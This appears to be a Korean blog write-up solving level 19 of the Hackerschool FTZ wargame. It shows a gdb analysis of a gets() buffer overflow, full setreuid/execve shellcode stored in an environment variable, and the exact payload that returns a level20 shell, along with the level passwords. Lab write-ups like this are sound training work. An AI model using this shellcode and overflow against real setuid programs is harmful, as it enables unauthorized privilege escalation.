뇌
[FTZ] level 19 → level 20 문제풀이 본문
level19 - id
: level19 , pw
: swimming in pink
[level19@ftz level19]$ ls
attackme hint public_html tmp
[level19@ftz level19]$ cat hint
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
[level19@ftz level19]$
이전 문제들보다 매우 간단해보인다.
gets 함수의 취약점에 의해 BOF 취약점을 사용할 수 있는 점은 같지만,
setreuid 함수를 이용하여 level20 의 권한을 얻는 부분이 없다.
파일 자체에 setuid 가 level20 으로 설정되어있으므로 setuid 가 있는 쉘 코드를 사용하면 된다.
처음에는 내가 애초에 setuid 가 있는 쉘 코드를 사용해서 그 사실을 몰랐다. ㅎㅎ
attackme 파일을 tmp 디렉토리에 복사해서 gdb 로 분석해보자.
[level19@ftz level19]$ ls
attackme hint public_html tmp
[level19@ftz level19]$ cp attackme tmp
[level19@ftz level19]$ cd tmp
[level19@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40]
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
0x0804846b <main+43>: nop
0x0804846c <main+44>: nop
0x0804846d <main+45>: nop
0x0804846e <main+46>: nop
0x0804846f <main+47>: nop
End of assembler dump.
(gdb)
0x08048449 <main+9> 부분을 보면 gets 함수에 ebp-40 을 인자값으로 주므로
ebp-40 이 변수 buf 의 시작주소임을 알 수 있다.
buf 가 20 byte 이므로 dummy 가 20 byte 이다.
이제 쉘을 실행시키는 환경변수를 만들어보자.
쉘코드는
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
이것을 사용했다. (setreuid() 포함)
[level19@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
[level19@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1육1���1육F�1�Ph//shh/bin�PS�째
�1육�
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 63342 22
OLDPWD=/home/level19
SSH_TTY=/dev/pts/0
USER=level19
LS_COLORS=
MAIL=/var/spool/mail/level19
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level19/bin
INPUTRC=/etc/inputrc
PWD=/home/level19/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$
SHLVL=1
HOME=/home/level19
BASH_ENV=/home/level19/.bashrc
LOGNAME=level19
SSH_CONNECTION=172.16.21.1 63342 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level19@ftz tmp]$
이제 이 SHELL 환경변수의 주소를 구해보자.
[level19@ftz tmp]$ vi sh.c
#include<stdio.h>
int main()
{
printf("%p\n", getenv("SHELL"));
return 0;
}
~
~
~
~
~
~
~
~
~
~
[level19@ftz tmp]$ gcc -o sh sh.c
[level19@ftz tmp]$ ./sh
0xbffffd7e
[level19@ftz tmp]$
주소는 0xbffffd7e 이다.
buf(20) + dummy(20) + sfp(4) + ret(4)
A | A | ... | A | \x7e | \xfd | \xff | \xbf |
↑ ↑
ebp-40 ( buf 시작주소 ) return address
구조는 이렇다.
sfp 까지( 44 byte ) 'A' 로 덮고, ret( 4 byte ) 을 '0xbffffd7e' 로 덮으면 되겠다.
이제 attackme 파일을 공격해보자.
[level19@ftz tmp]$ cd ..
[level19@ftz level19]$ (python -c 'print "A"*44 + "\x7e\xfd\xff\xbf"';cat) | ./attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~���
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
my-pass
TERM environment variable not set.
Level20 Password is "we are just regular guys".
level20 의 권한으로 쉘이 따졌다.
Level20 Password is "we are just regular guys".
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 20 → clear 문제풀이 (0) | 2020.03.16 |
---|---|
[FTZ] level 18 → level 19 문제풀이 (0) | 2020.03.07 |
[FTZ] level 17 → level 18 문제풀이 (0) | 2020.03.06 |
[FTZ] level 16 → level 17 문제풀이 (0) | 2020.03.06 |
[FTZ] level 15 → level 16 문제풀이 (0) | 2020.03.06 |